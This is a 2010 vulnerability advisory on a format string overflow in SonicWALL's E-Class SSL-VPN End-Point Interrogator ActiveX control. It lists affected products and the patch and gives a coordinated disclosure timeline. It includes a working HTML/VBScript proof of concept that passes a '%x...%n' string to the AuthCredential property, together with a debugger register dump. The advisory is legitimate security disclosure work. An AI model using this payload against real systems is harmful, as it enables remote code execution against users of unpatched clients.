236 lines
No EOL
8 KiB
Text
236 lines
No EOL
8 KiB
Text
-------------------------- NSOADV-2010-005 ---------------------------
|
||
|
||
SonicWALL E-Class SSL-VPN ActiveX Control format string overflow
|
||
______________________________________________________________________
|
||
______________________________________________________________________
|
||
|
||
111101111
|
||
11111 00110 00110001111
|
||
111111 01 01 1 11111011111111
|
||
11111 0 11 01 0 11 1 1 111011001
|
||
11111111101 1 11 0110111 1 1111101111
|
||
1001 0 1 10 11 0 10 11 1111111 1 111 111001
|
||
111111111 0 10 1111 0 11 11 111111111 1 1101 10
|
||
00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100
|
||
10111111 0 01 0 1 1 111110 11 1111111111111 11110000011
|
||
0111111110 0110 1110 1 0 11101111111111111011 11100 00
|
||
01111 0 10 1110 1 011111 1 111111111111111111111101 01
|
||
01110 0 10 111110 110 0 11101111111111111111101111101
|
||
111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111
|
||
111110110 10 0111110 1 0 0 1111111111111111111111111 110
|
||
111 11111 1 1 111 1 10011 101111111111011111111 0 1100
|
||
111 10 110 101011110010 11111111111111111111111 11 0011100
|
||
11 10 001100 0001 111111111111111111 10 11 11110
|
||
11110 00100 00001 10 1 1111 101010001 11111111
|
||
11101 0 1011 10000 00100 11100 00001101 0
|
||
0110 111011011 0110 10001 101 11110
|
||
1011 1 10 101 000001 01 00
|
||
1010 1 11001 1 1 101 10
|
||
110101011 0 101 11110
|
||
110000011
|
||
111
|
||
______________________________________________________________________
|
||
______________________________________________________________________
|
||
|
||
Title: SonicWALL E-Class SSL-VPN ActiveX Control
|
||
format string overflow
|
||
Severity: High
|
||
Advisory ID: NSOADV-2010-005
|
||
Found Date: 22.02.2010
|
||
Date Reported: 09.06.2010
|
||
Release Date: 19.08.2010
|
||
Author: Nikolas Sotiriu
|
||
Website: http://sotiriu.de
|
||
Twitter: http://twitter.com/nsoresearch
|
||
Mail: nso-research at sotiriu.de
|
||
URL: http://sotiriu.de/adv/NSOADV-2009-005.txt
|
||
Vendor: SonicWALL (http://www.sonicwall.com/)
|
||
Affected Products: SonicWALL SRA EX1600
|
||
SonicWALL EX7000
|
||
SonicWALL EX6000
|
||
SonicWALL EX-1600
|
||
SonicWALL EX-1500
|
||
SonicWALL EX-750
|
||
Affected Versions: 10.0.4 and all previous versions
|
||
10.5.1 without hotfix
|
||
Remote Exploitable: Yes
|
||
Local Exploitable: No
|
||
Patch Status: Vendor released a patch
|
||
Discovered by: Nikolas Sotiriu
|
||
Disclosure Policy: http://sotiriu.de/policy.html
|
||
Thanks to: Thierry Zoller: For the permission to use his
|
||
Policy
|
||
|
||
|
||
|
||
Background:
|
||
===========
|
||
|
||
SonicWALL has added the award-winning Aventail SSL VPN product line to
|
||
our E-Class SRA appliances. Aventail's best-of-breed SSL VPNs deliver
|
||
secure remote access to the most resources from the most end point
|
||
locations. Aventail was named in the Visionaries Quadrant in the SSL
|
||
VPN Magic Quadrant Report from Gartner, considered to be the leading
|
||
analyst firm covering the SSL VPN industry.
|
||
|
||
(Product description from Website)
|
||
|
||
|
||
|
||
Description:
|
||
============
|
||
|
||
Remote exploitation of a format string overflow vulnerability in the
|
||
End-Point Interrogator/Installer ActiveX Control could allow an attacker
|
||
to execute arbitrary code within the security context of the targeted
|
||
user.
|
||
|
||
The affected function is "AuthCredential". The functions
|
||
"ConfigurationString" seems to be also vulnerable, but the format
|
||
string has to be base64 decoded.
|
||
|
||
Name: End-Point Interrogator/Installer Module
|
||
Vendor: Aventail Corporation
|
||
Type: ActiveX-Control
|
||
Version: 10.3.42
|
||
Prog ID: EPILib.EPInterrogator
|
||
GUID: {2A1BE1E7-C550-4D67-A553-7F2D3A39233D}
|
||
File: epi.dll
|
||
Folder: %userprofile%\Application Data\Aventail\epi
|
||
Safe for Script: True
|
||
Safe for Init: True
|
||
|
||
|
||
|
||
Proof of Concept :
|
||
==================
|
||
|
||
<html>
|
||
<head>
|
||
<title>SonicWALL E-Class SSL-VPN ActiveX Control DoS PoC</title>
|
||
</head>
|
||
<body>
|
||
<pre>
|
||
<img src="http://sotiriu.de/images/logo_wh_80.png";>
|
||
|
||
<input type=button name="Submit" VALUE="Rule #5 – Shoot First">
|
||
|
||
|
||
</pre>
|
||
|
||
<object classid='clsid:2A1BE1E7-C550-4D67-A553-7F2D3A39233D'
|
||
id='obj'></object>
|
||
|
||
<script language='vbscript'>
|
||
|
||
Sub Submit_OnClick
|
||
eax=String(2, unescape("%u6161"))
|
||
arg="%1862x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
|
||
'EAX 61616161
|
||
|
||
buf=eax+arg
|
||
|
||
obj.AuthCredential = buf
|
||
End Sub
|
||
|
||
</script>
|
||
</body>
|
||
</html>
|
||
|
||
|
||
|
||
Notes:
|
||
======
|
||
|
||
The Exploit overwrites the EAX register with 0x61616161.
|
||
|
||
EAX 61616161
|
||
ECX 000007F2
|
||
EDX 00000000
|
||
EBX FFFF006E
|
||
ESP 01929AE4
|
||
EBP 01929F54
|
||
ESI 00000020
|
||
EDI 00000002
|
||
EIP 77C1391B msvcrt.77C1391B
|
||
C 0 ES 0023 32bit 0(FFFFFFFF)
|
||
P 1 CS 001B 32bit 0(FFFFFFFF)
|
||
A 0 SS 0023 32bit 0(FFFFFFFF)
|
||
Z 1 DS 0023 32bit 0(FFFFFFFF)
|
||
S 0 FS 003B 32bit 7FFD8000(FFF)
|
||
T 0 GS 0000 NULL
|
||
D 0
|
||
O 0 LastErr ERROR_SUCCESS (00000000)
|
||
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
|
||
ST0 empty +UNORM 1C68 00000000 E162AA10
|
||
ST1 empty 7.5918347351318302720e-1715
|
||
ST2 empty +UNORM 001C 7779065D E19F4F1C
|
||
ST3 empty 3.4653990691284428800e+1178
|
||
ST4 empty 0.0000000000840901890e-4933
|
||
ST5 empty -??? FFFF 00000000 00000000
|
||
ST6 empty 6.4564231821671188480e-4932
|
||
ST7 empty 1.0000000000000000000
|
||
3 2 1 0 E S P U O Z D I
|
||
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
|
||
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
|
||
|
||
The function where the exception occurs looks like this:
|
||
|
||
77C1391B 8908 MOV DWORD PTR DS:[EAX],ECX
|
||
|
||
|
||
|
||
Solution:
|
||
=========
|
||
|
||
Version 10.0.5:
|
||
+--------------
|
||
|
||
Download the new version on www.mysonicwall.com
|
||
|
||
Version 10.5.1:
|
||
+--------------
|
||
|
||
SonicWALL Security Advisory:
|
||
http://www.sonicwall.com/us/support/kb.asp?kbid=8272
|
||
|
||
|
||
|
||
Disclosure Timeline (YYYY/MM/DD):
|
||
=================================
|
||
|
||
2010.02.22: Vulnerability found
|
||
2010.06.08: Ask on full-disc for a SonicWALL security contact
|
||
2010.06.09: Initial contact by info () sonicwall and germany () sonicwall
|
||
email address
|
||
2010.06.09: Initial Vendor response by phone from a german SonicWALL SE
|
||
2010.06.09: Got an email from SonicWALL as a response to my mail to
|
||
full-disc with the contact email address
|
||
security () sonicwall com
|
||
2010.06.10: Sent the Notification and Disclosure Policy and ask for a
|
||
PGP Key
|
||
[-] No Response
|
||
2010.06.18: Got an email response from the SonicWALL SSL-VPN Product
|
||
Manager with a PGP key.
|
||
2010.06.19: Sent PoC, Advisory, Disclosure policy and planned disclosure
|
||
date (2010.06.24) to Vendor
|
||
2010.06.19: SonicWALL acknowledges the reception of the advisory
|
||
2010.06.22: Vendor verifies the vulnerability
|
||
2010.07.07: Ask for a status update, because the planned release date
|
||
was the 2010.06.24
|
||
2010.07.07: SonicWALL informs me that they will release a new version
|
||
at end of July.
|
||
2010.07.07: Changed release date to 2010.07.29
|
||
2010.07.29: Ask for a status update, because the planned release date
|
||
is the 2010.07.29
|
||
2010.07.29: SonicWALL informs me that the version 10.0.5 is in final QA
|
||
and should be released next week.
|
||
2010.08.13: Send SonicWALL the information, that i will release the
|
||
advisory at Wednesday 2010.08.18.
|
||
2010.08.16: SonicWALL informs me that the version 10.0.5 is already
|
||
downloadable for customers.
|
||
2010.08.16: Ask for an SonicWALL advisory and a list of affected
|
||
products
|
||
2010.08.17: SonicWALL sends me there advisory draft
|
||
2010.08.18: Ask SonicWALL for credits in there advisory
|
||
2010.08.19: Release of this advisory |